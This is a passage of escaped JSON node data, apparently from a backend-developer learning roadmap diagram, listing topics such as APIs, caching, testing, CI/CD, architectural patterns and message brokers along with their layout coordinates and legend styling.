\"sNceS4MpSIjRkWhNDmrFg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -246.321810236714,\n        \"y\": 873.9941785421215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JSON APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eZd-7w3ka8BhaAx8kGTgi\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -246.321810236714,\n        \"y\": 873.9941785421215\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 49,\n      \"id\": \"9cD5ag1L0GqHx4_zxc5JX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -368.73723374307156,\n        \"y\": 643.2866760912823\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Open API Specs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DUfNRRq7b-9qrmi3Jl9cg\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -368.73723374307156,\n        \"y\": 643.2866760912823\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"sSNf93azjuyMzQqIHE0Rh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -246.321810236714,\n        \"y\": 926.9941785421215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SOAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WcI3SBJRcNaE188PNbOVu\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -246.321810236714,\n        \"y\": 926.9941785421215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"J-TOE2lT4At1mSdNoxPS1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -142.91071247617333,\n        \"y\": 926.9941785421215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QWSfT7edQOzSqxErGjzEW\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -142.91071247617333,\n        \"y\": 926.9941785421215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 207,\n      \"height\": 49,\n      \"id\": \"lfNFDZZNdrB0lbEaMtU71\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -246.321810236714,\n        \"y\": 820.9941785421215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gVsbyjVssRCpAf6r-tF0O\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -246.321810236714,\n        \"y\": 820.9941785421215\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 207,\n      \"height\": 49,\n      \"id\": \"zp3bq38tMnutT2N0tktOW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -246.321810236714,\n        \"y\": 980.9941785421215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SuTsL6Hx2f9mGGkuz6qzR\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -246.321810236714,\n        \"y\": 980.9941785421215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 139,\n      \"height\": 49,\n      \"id\": \"KWTbEVX_WxS8jmSaAX3Fe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -687.6226089739991,\n        \"y\": 850.8922314174025\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client Side\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VCs8QGDemoQSkB36h9PJK\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -687.6226089739991,\n        \"y\": 850.8922314174025\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 138,\n      \"height\": 49,\n      \"id\": \"Nq2BO53bHJdFT1rGZPjYx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -687.1226089739991,\n        \"y\": 794.4861514388111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CDN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bIXcS6GrLumi6encivC_r\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -687.1226089739991,\n        \"y\": 794.4861514388111\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 139,\n      \"height\": 49,\n      \"id\": \"z1-eP4sV75GBEIdM4NvL9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -687.6226089739991,\n        \"y\": 740.4861514388111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server Side\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xPvVwGQw28uMeLYIWn8yn\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -687.6226089739991,\n        \"y\": 740.4861514388111\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 110,\n      \"height\": 49,\n      \"id\": \"ELj8af7Mi38kUbaPJfCUR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -441.5743778219993,\n        \"y\": 740.4861514388111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caching\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"T632e8R4J001IajMm9yp7\"\n      },\n      \"style\": {\n        \"width\": 110\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -441.5743778219993,\n        \"y\": 740.4861514388111\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 147,\n      \"height\": 49,\n      \"id\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -460.0743778219993,\n        \"y\": 1071.3669598992026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Mu-HTzcpluvHTcfv0-nMw\"\n      },\n      \"style\": {},\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -460.0743778219993,\n        \"y\": 1071.3669598992026\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 191,\n      \"height\": 49,\n      \"id\": \"381Kw1IMRv7CJp-Uf--qd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.00948964805815,\n        \"y\": 1017.4900452642225\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U7mP1unVOQgVXCCuXh8De\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.00948964805815,\n        \"y\": 1017.4900452642225\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 194,\n      \"height\": 49,\n      \"id\": \"NAGisfq2CgeK3SsuRjnMw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.00948964805815,\n        \"y\": 1125.4900452642225\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functional Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Lcb9mmKc5k2UofZ0_o6Rs\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.00948964805815,\n        \"y\": 1125.4900452642225\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 194,\n      \"height\": 49,\n      \"id\": \"3OYm6b9f6WOrKi4KTOZYK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 53.00948964805815,\n        \"y\": 1071.4900452642225\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"J_kRwf-neWCW5DjfBmybt\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 53.00948964805815,\n        \"y\": 1071.4900452642225\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 152,\n      \"height\": 49,\n      \"id\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -179.58230823147517,\n        \"y\": 1071.3669598992026\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RFUPBl2Q9hBXP9HacPOo1\"\n      },\n      \"style\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -179.58230823147517,\n        \"y\": 1071.3669598992026\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 152,\n      \"height\": 49,\n      \"id\": \"mGfD7HfuP184lFkXZzGjG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -179.08230823147517,\n        \"y\": 1210.6699426703588\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CI / CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZbqxpSU_yVIqn18nTHi7o\"\n      },\n      \"style\": {\n        \"width\": 152,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -179.08230823147517,\n        \"y\": 1210.6699426703588\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 239,\n      \"height\": 42,\n      \"id\": \"6XIWO0MoE-ySl4qh_ihXa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1789.576741490472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GOF Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SbNqTFqv0nGaEgFRPJTdF\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 239,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1789.576741490472\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 239,\n      \"height\": 42,\n      \"id\": \"u8IRw5PuXGUcmxA0YYXgx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1930.576741490472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CQRS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9f7ACjQRRLA7XKYnksZSf\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 239,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1930.576741490472\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 239,\n      \"height\": 42,\n      \"id\": \"BvHi5obg0L1JDZFKBzx9t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1836.576741490472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Domain Driven Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qrAayg7BD7kxb7_L2SJah\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 239,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1836.576741490472\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 239,\n      \"height\": 42,\n      \"id\": \"wqE-mkxvehOzOv8UyE39p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1977.576741490472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Sourcing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O9Rikw8IeZBubICKMEWfh\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 239,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -678.7285480195932,\n        \"y\": 1977.576741490472\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 42,\n      \"id\": \"I-PUAE2AzbEaUkW9vMaUM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -679.7285480195932,\n        \"y\": 1883.576741490472\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Test Driven Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2s5av-0dXEoxUdJDBkGAw\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 241,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -679.7285480195932,\n        \"y\": 1883.576741490472\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 42,\n      \"id\": \"Ke522R-4k6TDeiDRyZbbU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1764.4322903961147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monolithic Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eEjwT_0m1ClZ1Mzk3Tpe1\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1764.4322903961147\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 42,\n      \"id\": \"nkmIv3dNwre4yrULMgTh3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1905.4322903961147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serverless\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hbD8zLd1zLo8cxe1Zzv_q\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1905.4322903961147\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 42,\n      \"id\": \"K55h3aqOGe6-hgVhiFisT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1811.4322903961147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Microservices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3ihAuijCWt3qpmjhCvPAN\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1811.4322903961147\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 42,\n      \"id\": \"n14b7sfTOwsjKTpFC9EZ2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1952.4322903961147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Service Mesh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qpFqX--0c3Ns3GcMTLwIV\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1952.4322903961147\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 42,\n      \"id\": \"tObmzWpjsJtK4GWhx6pwB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1858.4322903961147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SOA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VN_aqqc0Ud08WEfGm0RD0\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1858.4322903961147\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 42,\n      \"id\": \"8DmabQJXlrT__COZrDVTV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1999.4322903961147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Twelve Factor Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-Kl-yF0-CvcxFVftrIhc3\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1999.4322903961147\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"tHiUpG9LN35E5RaHddMv5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1664.0927318659378\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architectural Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vuQZVKbu31v9pPvUFO0PS\"\n      },\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.18210433132231,\n        \"y\": 1664.0927318659378\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 49,\n      \"id\": \"GPFRMcY1DEtRgnaZwJ3vW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.7546339304921,\n        \"y\": 2260.625724160596\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RabbitMQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nWqysC_xHODqEUf0bHiac\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 128.7546339304921,\n        \"y\": 2260.625724160596\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 49,\n      \"id\": \"VoYSis1F1ZfTxMlQlXQKB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 128.7546339304921,\n        \"y\": 2314.3657241605956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kafka\",\n        \"style\": {\n          